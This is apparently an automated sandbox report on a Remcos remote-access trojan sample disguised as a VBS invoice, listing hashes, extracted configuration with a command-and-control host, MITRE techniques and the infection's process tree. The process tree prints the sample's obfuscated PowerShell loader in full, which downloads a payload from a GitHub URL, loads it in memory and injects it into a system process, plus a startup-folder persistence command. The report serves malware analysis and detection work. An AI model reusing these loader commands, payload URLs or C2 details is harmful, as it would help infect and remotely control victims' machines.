remcos | 705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139

General

Target

KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs
Size

486KB
MD5

bfe8bd92459f45bda7c2144a9ae3ad70
SHA1

5c8a674b4dec5b7c6bfe579d5ba7c30bd426b66f
SHA256

705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139
SHA512

fbd3c5fa3bf90cec9227912c203898870716d0cb50b0a6caade19aaf4493dce3cc4a7c1a77c713fe8963159d3195837ca1ef6dcfde8700fceed633aa7c3e7d06
SSDEEP

12288:KZejbep/wU35vTs06uFBRBzPupRWdOrDt/bDqPm3hqekZEeWZCmHFLCCAYpdStSU:NX2oZLRgIZ2

Score

10^/10

remcos news discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

NEWS

C2

ab9001.ddns.net:35890

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vlc.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%UserProfile%
mouse_option
false
mutex
Rmc-YJH0WY
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
reg
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	5028	powershell.exe
27	5028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe
4908	powershell.exe
5028	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rectifloro.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rectifloro.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	raw.githubusercontent.com
23	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5028 set thread context of 2608	5028	powershell.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3960	PING.EXE
4716	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3960	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2608	AddInProcess32.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 4716	3768	WScript.exe	89
PID 3768 wrote to memory of 4716	3768	WScript.exe	89
PID 4716 wrote to memory of 3960	4716	cmd.exe	91
PID 4716 wrote to memory of 3960	4716	cmd.exe	91
PID 4716 wrote to memory of 4468	4716	cmd.exe	98
PID 4716 wrote to memory of 4468	4716	cmd.exe	98
PID 3768 wrote to memory of 4908	3768	WScript.exe	100
PID 3768 wrote to memory of 4908	3768	WScript.exe	100
PID 4908 wrote to memory of 5028	4908	powershell.exe	103
PID 4908 wrote to memory of 5028	4908	powershell.exe	103
PID 5028 wrote to memory of 3964	5028	powershell.exe	104
PID 5028 wrote to memory of 3964	5028	powershell.exe	104
PID 5028 wrote to memory of 3964	5028	powershell.exe	104
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105
PID 5028 wrote to memory of 2608	5028	powershell.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUV4ICgoJ2wnKydjJysnWicrJ3VybCA9JysnIFU4Y2h0dHAnKydzOi8vJysncmF3LicrJ2dpdCcrJ2h1YicrJ3UnKydzZXInKydjbycrJ250JysnZW50LmNvbS8nKydOb0RldGVjdE9uL05vRGV0ZScrJ2N0TycrJ24vcmVmcy8nKydoZScrJ2FkcycrJy9tYWluL0RlJysndGEnKydoTm90JysnaC1WLnR4dCcrJ1U4YzsgJysnbGMnKydaYmFzZTY0JysnQ28nKydudGVudCA9ICcrJyhOZXctT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2wnKydpZW50KS5Eb3cnKyduJysnbG9hJysnZFN0cmknKyduZygnKydsYycrJ1p1cmwnKycpJysnOyBsJysnY1piaW5hcnlDb250ZScrJ250ID0gW1MnKyd5JysncycrJ3RlbS5DbycrJ252ZXInKyd0XTonKyc6JysnRnJvbUJhJysnc2UnKyc2JysnNFN0cmluZyhsY1onKydiYXNlNjRDb250ZW4nKyd0KScrJzsnKycgbGNaYXNzJysnZW0nKydibHkgJysnPSBbJysnUmVmbCcrJ2VjdGknKydvbi5BcycrJ3NlbWJseV06OkxvJysnYWQobCcrJ2MnKydaJysnYmluJysnYXJ5JysnQ29udGVuJysndCknKyc7JysnIFtkbmxpYi4nKydJTy5Ib20nKydlJysnXTo6JysnVkFJKFI3ODAnKycvQ28nKydoJysnblUvZC8nKydlZS5lJysndCcrJ3NhcC8nKycvOnNwdHQnKydoUicrJzc4LCBSNzhkZXMnKydhdCcrJ2knKyd2YWRvUjc4LCcrJyBSNycrJzgnKydkZXNhdGknKyd2JysnYWQnKydvUjc4LCAnKydSNzhkZXNhJysndCcrJ2knKyd2YWRvUjc4JysnLCBSNycrJzhBZGRJblAnKydyb2Nlc3MzMlInKyc3OCwgUjc4UicrJzc4LFI3OFI3OCcrJyknKS5yRXBsYWNFKCdsY1onLFtzdHJJTkddW0NIQXJdMzYpLnJFcGxhY0UoKFtDSEFyXTg1K1tDSEFyXTU2K1tDSEFyXTk5KSxbc3RySU5HXVtDSEFyXTM5KS5yRXBsYWNFKChbQ0hBcl04MitbQ0hBcl01NStbQ0hBcl01NiksW3N0cklOR11bQ0hBcl0zNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEx (('l'+'c'+'Z'+'url ='+' U8chttp'+'s://'+'raw.'+'git'+'hub'+'u'+'ser'+'co'+'nt'+'ent.com/'+'NoDetectOn/NoDete'+'ctO'+'n/refs/'+'he'+'ads'+'/main/De'+'ta'+'hNot'+'h-V.txt'+'U8c; '+'lc'+'Zbase64'+'Co'+'ntent = '+'(New-Object S'+'ystem.Net.WebCl'+'ient).Dow'+'n'+'loa'+'dStri'+'ng('+'lc'+'Zurl'+')'+'; l'+'cZbinaryConte'+'nt = [S'+'y'+'s'+'tem.Co'+'nver'+'t]:'+':'+'FromBa'+'se'+'6'+'4String(lcZ'+'base64Conten'+'t)'+';'+' lcZass'+'em'+'bly '+'= ['+'Refl'+'ecti'+'on.As'+'sembly]::Lo'+'ad(l'+'c'+'Z'+'bin'+'ary'+'Conten'+'t)'+';'+' [dnlib.'+'IO.Hom'+'e'+']::'+'VAI(R780'+'/Co'+'h'+'nU/d/'+'ee.e'+'t'+'sap/'+'/:sptt'+'hR'+'78, R78des'+'at'+'i'+'vadoR78,'+' R7'+'8'+'desati'+'v'+'ad'+'oR78, '+'R78desa'+'t'+'i'+'vadoR78'+', R7'+'8AddInP'+'rocess32R'+'78, R78R'+'78,R78R78'+')').rEplacE('lcZ',[strING][CHAr]36).rEplacE(([CHAr]85+[CHAr]56+[CHAr]99),[strING][CHAr]39).rEplacE(([CHAr]82+[CHAr]55+[CHAr]56),[strING][CHAr]34) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5028
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:3964
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2608

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4108,i,9445584274764997943,12714240264001792460,262144 --variations-seed-version --mojo-platform-channel-handle=4020 /prefetch:8
1⤵
PID:3792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
6b5a26616efbb70c30e9b73f07cbd277

SHA1
fbf693330088cf15a4af95a52ec88e8e08fa1167

SHA256
6ca1fa8fb9ef45bc50bb61cacb4369deecfd664f186182a347774155d0bbca10

SHA512
f757a7fd68f06c4ca9be640de8eb38aa7eb7c38ff45bdab2aef54c457c991628d69d6716453cff176f1e1d70b3bceeb85068e4ba8155e3ce20cd9e34948a3351

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0yt01yh.hke.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\remcos\logs.dat

Filesize
144B

MD5
bc15d856908ba644d9f30a4565632255

SHA1
0686ea41283e897e092325c1cb7b223c6e72b422

SHA256
bc5e56f55f71a525fae1c14a8a61f40d805a9a41830c126e1627ddc93cb19d61

SHA512
ad3cd331e7519c998714129abfa944991d6ae45dd4dffa845ecf7467054e94aa8c7749af65411b4cb1a727bd1ff73c1629850de0b3048c62c5db3a9fb996ea12

Download Submit
memory/2608-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-49-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-84-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-41-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-76-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-68-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-50-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-51-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2608-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4468-11-0x0000017FFED60000-0x0000017FFED82000-memory.dmp

Filesize
136KB

Download
memory/4468-17-0x00007FFE9F760000-0x00007FFEA0221000-memory.dmp

Filesize
10.8MB

Download
memory/4468-1-0x00007FFE9F763000-0x00007FFE9F765000-memory.dmp

Filesize
8KB

Download
memory/4468-12-0x00007FFE9F760000-0x00007FFEA0221000-memory.dmp

Filesize
10.8MB

Download
memory/4468-13-0x00007FFE9F760000-0x00007FFEA0221000-memory.dmp

Filesize
10.8MB

Download
memory/4468-16-0x00007FFE9F760000-0x00007FFEA0221000-memory.dmp

Filesize
10.8MB

Download
memory/5028-38-0x000001AE2CB50000-0x000001AE2CD70000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads